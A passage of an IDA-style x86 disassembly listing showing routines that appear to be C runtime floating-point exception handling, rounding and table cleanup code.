		mov	edx, [ebp-54h]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_4221FD
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 8
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_4221FD:				; CODE XREF: ___:004221DEj
					; ___:004221ECj
		jmp	short loc_42220E
; ---------------------------------------------------------------------------


loc_4221FF:				; CODE XREF: ___:004221A5j
					; ___:004221B8j
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_42220E:				; CODE XREF: ___:loc_4221FDj
		jmp	short loc_42221F
; ---------------------------------------------------------------------------


loc_422210:				; CODE XREF: ___:00422168j
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_42221F:				; CODE XREF: ___:loc_42220Ej
		jmp	loc_42213E
; ---------------------------------------------------------------------------


loc_422224:				; CODE XREF: ___:0042214Bj
		mov	eax, dword_4DB560
		push	eax
		call	near ptr 28B088Ch
		nop
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_422258
; ---------------------------------------------------------------------------


loc_42224F:				; CODE XREF: ___:loc_4222D2j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_422258:				; CODE XREF: ___:0042224Dj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_4222D7
		mov	ecx, [ebp-8]
		cmp	dword_4DB460[ecx*4], 0
		jz	short loc_4222D2
		mov	edx, [ebp-8]
		mov	eax, dword_4DB460[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_422283
; ---------------------------------------------------------------------------


loc_42227A:				; CODE XREF: ___:loc_4222ADj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx


loc_422283:				; CODE XREF: ___:00422278j
		mov	edx, [ebp-8]
		mov	eax, dword_4DB460[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_4222AF
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_4222AD
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		nop
		call	near ptr 2700770h


loc_4222AD:				; CODE XREF: ___:0042229Ej
		jmp	short loc_42227A
; ---------------------------------------------------------------------------


loc_4222AF:				; CODE XREF: ___:00422295j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, dword_4DB460[eax*4]
		push	ecx
		call	sub_415860
		add	esp, 8
		mov	edx, [ebp-8]
		mov	dword_4DB460[edx*4], 0


loc_4222D2:				; CODE XREF: ___:00422269j
		jmp	loc_42224F
; ---------------------------------------------------------------------------


loc_4222D7:				; CODE XREF: ___:0042225Cj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222E0	proc near		; CODE XREF: sub_418E70+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_422309
; ---------------------------------------------------------------------------


loc_422300:				; CODE XREF: sub_4222E0:loc_4223A4j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_422309:				; CODE XREF: sub_4222E0+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, dword_4DC7C0
		jge	loc_4223A9
		mov	edx, [ebp+var_8]
		mov	eax, dword_4DB7AC
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_4223A4
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_422361
		mov	edx, [ebp+var_8]
		mov	eax, dword_4DB7AC
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414C60
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_422361
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_422361:				; CODE XREF: sub_4222E0+5Dj
					; sub_4222E0+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_4223A4
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	near ptr 2700770h
		nop
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DB7AC
		mov	dword ptr [ecx+eax*4], 0


loc_4223A4:				; CODE XREF: sub_4222E0+44j
					; sub_4222E0+85j
		jmp	loc_422300
; ---------------------------------------------------------------------------


loc_4223A9:				; CODE XREF: sub_4222E0+32j
		push	2
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4222E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4223C0(double)

sub_4223C0	proc near		; CODE XREF: sub_418F70+C3p
					; sub_419190+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4223E0(int,double,int)

sub_4223E0	proc near		; CODE XREF: sub_418F70+85p
					; sub_419190+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_4445FC, 0
		jnz	short loc_422414
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_422E90
		add	esp, 24h
		jmp	short loc_422433
; ---------------------------------------------------------------------------


loc_422414:				; CODE XREF: sub_4223E0+Aj
		call	sub_420520
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_423320
		add	esp, 8
		fld	qword ptr [ebp+arg_4]


loc_422433:				; CODE XREF: sub_4223E0+32j
		pop	ebp
		retn
sub_4223E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	dword_4445FC, 0
		jnz	short loc_422484
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_422E90
		add	esp, 24h
		jmp	short loc_4224A3
; ---------------------------------------------------------------------------


loc_422484:				; CODE XREF: ___:00422456j
		call	sub_420520
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_423320
		add	esp, 8
		fld	qword ptr [ebp-8]


loc_4224A3:				; CODE XREF: ___:00422482j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4224B0(int,int,int,int,double,int)

sub_4224B0	proc near		; CODE XREF: sub_418F70+B1p
					; sub_418F70+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422B10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4224F6
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_422640
		add	esp, 18h


loc_4224F6:				; CODE XREF: sub_4224B0+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422FB0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	dword_4445FC, 0
		jnz	short loc_42253E
		cmp	[ebp+var_4], 0
		jz	short loc_42253E
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_422E90
		add	esp, 24h
		jmp	short loc_42255E
; ---------------------------------------------------------------------------


loc_42253E:				; CODE XREF: sub_4224B0+5Cj
					; sub_4224B0+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_422F30
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_423320
		add	esp, 8
		fld	[ebp+arg_10]


loc_42255E:				; CODE XREF: sub_4224B0+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4224B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_422B10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4225CE
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_422640
		add	esp, 18h


loc_4225CE:				; CODE XREF: ___:0042258Cj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_422FB0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword_4445FC, 0
		jnz	short loc_42261A
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42261A
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_422E90
		add	esp, 24h
		jmp	short loc_42263A
; ---------------------------------------------------------------------------


loc_42261A:				; CODE XREF: ___:004225E4j
					; ___:004225EAj
		mov	edx, [ebp-4]
		push	edx
		call	sub_422F30
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_423320
		add	esp, 8
		fld	qword ptr [ebp+20h]


loc_42263A:				; CODE XREF: ___:00422618j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422640	proc near		; CODE XREF: sub_4224B0+3Ep
					; ___:004225C6p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_422684
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_422684:				; CODE XREF: sub_422640+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4226A3
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_4226A3:				; CODE XREF: sub_422640+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_4226C3
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_4226C3:				; CODE XREF: sub_422640+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_4226E3
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4226E3:				; CODE XREF: sub_422640+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_422702
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_422702:				; CODE XREF: sub_422640+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_4232E0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_4227D2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_4227D2:				; CODE XREF: sub_422640+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4227EA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_4227EA:				; CODE XREF: sub_422640+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_422803
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx


loc_422803:				; CODE XREF: sub_422640+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42281C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_42281C:				; CODE XREF: sub_422640+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_422834
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_422834:				; CODE XREF: sub_422640+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_422864
		cmp	[ebp+var_C], 800h
		jz	short loc_42287E
		cmp	[ebp+var_C], 0
		jz	short loc_4228A2
		cmp	[ebp+var_C], 400h
		jz	short loc_422890
		jmp	short loc_4228AF
; ---------------------------------------------------------------------------


loc_422864:				; CODE XREF: sub_422640+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_42286F
		jmp	short loc_4228AF
; ---------------------------------------------------------------------------


loc_42286F:				; CODE XREF: sub_422640+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4228AF
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_422640+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4228AF
; ---------------------------------------------------------------------------


loc_422890:				; CODE XREF: sub_422640+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4228AF
; ---------------------------------------------------------------------------


loc_4228A2:				; CODE XREF: sub_422640+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_4228AF:				; CODE XREF: sub_422640+222j
					; sub_422640+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_4228F8
		cmp	[ebp+var_10], 200h
		jz	short loc_4228E6
		cmp	[ebp+var_10], 300h
		jz	short loc_4228D7
		jmp	short loc_422908
; ---------------------------------------------------------------------------


loc_4228D7:				; CODE XREF: sub_422640+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_422908
; ---------------------------------------------------------------------------


loc_4228E6:				; CODE XREF: sub_422640+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_422908
; ---------------------------------------------------------------------------


loc_4228F8:				; CODE XREF: sub_422640+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_422908:				; CODE XREF: sub_422640+295j
					; sub_422640+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_423300
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		nop
		call	near ptr 28C077Ah
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_4229BD
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_4229BD:				; CODE XREF: sub_422640+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4229D9
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_4229D9:				; CODE XREF: sub_422640+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_4229F6
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_4229F6:				; CODE XREF: sub_422640+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_422A12
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_422A12:				; CODE XREF: sub_422640+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_422A2B
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_422A2B:				; CODE XREF: sub_422640+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_422A89
		mov	ecx, [ebp+var_14]
		jmp	off_422AF1[ecx*4]


loc_422A46:				; DATA XREF: ___:00422AFDo
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_422A89
; ---------------------------------------------------------------------------


loc_422A58:				; CODE XREF: sub_422640+3FFj
					; DATA XREF: ___:00422AF9o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_422A89
; ---------------------------------------------------------------------------


loc_422A6A:				; CODE XREF: sub_422640+3FFj
					; DATA XREF: ___:00422AF5o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_422A89
; ---------------------------------------------------------------------------


loc_422A7C:				; CODE XREF: sub_422640+3FFj
					; DATA XREF: ___:off_422AF1o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_422A89:				; CODE XREF: sub_422640+3FAj
					; sub_422640+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_422AAB
		cmp	[ebp+var_18], 1
		jz	short loc_422ABD
		cmp	[ebp+var_18], 2
		jz	short loc_422ACF
		jmp	short loc_422ADC
; ---------------------------------------------------------------------------


loc_422AAB:				; CODE XREF: sub_422640+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_422ADC
; ---------------------------------------------------------------------------


loc_422ABD:				; CODE XREF: sub_422640+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_422ADC
; ---------------------------------------------------------------------------


loc_422ACF:				; CODE XREF: sub_422640+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_422ADC:				; CODE XREF: sub_422640+469j
					; sub_422640+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_422640	endp

; ---------------------------------------------------------------------------
off_422AF1	dd offset loc_422A7C	; DATA XREF: sub_422640+3FFr
		dd offset loc_422A6A
		dd offset loc_422A58
		dd offset loc_422A46
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B10	proc near		; CODE XREF: sub_4224B0+12p
					; ___:00422582p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_422B4A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_422B4A
		push	1
		call	sub_423360
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_422E4E
; ---------------------------------------------------------------------------


loc_422B4A:				; CODE XREF: sub_422B10+17j
					; sub_422B10+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_422B75
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_422B75
		push	4
		call	sub_423360
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_422E4E
; ---------------------------------------------------------------------------


loc_422B75:				; CODE XREF: sub_422B10+42j
					; sub_422B10+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_422CF1
